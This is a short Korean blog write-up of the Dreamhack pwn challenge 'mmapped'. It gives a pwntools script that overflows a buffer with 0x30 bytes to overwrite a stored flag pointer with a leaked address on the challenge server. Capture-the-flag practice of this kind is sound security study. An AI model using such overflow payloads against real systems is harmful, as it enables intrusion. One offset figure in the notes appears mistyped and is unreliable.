본문 바로가기
STUDY/Dreamhack

[pwn] mmapped

by CH@3M 2024. 4. 22.

level 1. mmapped

https://dreamhack.io/wargame/challenges/870

 

mmapped

Description 프로그램의 취약점을 찾고 익스플로잇하여 플래그를 출력하세요. 플래그는 ./flag 파일에 위치합니다. 플래그의 형식은 DH{...} 입니다.

dreamhack.io

┌──(kali㉿kali)-[~/Desktop]
└─$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=79055d58c0455768dd0f63ef26a6b94c72666071, for GNU/Linux 3.2.0, not stripped

fake flag 주소 값이 있는 곳(노랑 상자)에 real flag 주소 값(빨간 상자)을 넣어야 함

buf의 크기를 계산하기 위해 0x7fffffffdd0-0x7fffffffdd90 계산

real flag 주소 값을 저장하고 그 값을 fake flag 주소가 저장되는 자리에 덮어줌

from pwn import *

p = remote('host3.dreamhack.games', 21321)

p.recvuntil("real flag address (mmapped address):")

real_flag = int(p.recvline().strip(), 16)

print(real_flag)

payload = b'a'*0x30
payload += p64(real_flag)

p.sendline(payload)
p.interactive()

반응형

'STUDY > Dreamhack' 카테고리의 다른 글

[WEB] DOM XSS  (0) 2024.07.09
[WEB] Switching Command  (0) 2024.06.23
[rev] Summer Fan (level2)  (0) 2024.06.15
[web] Dream Gallery (level2)  (1) 2024.06.14
[rev] ez_rev  (0) 2024.04.22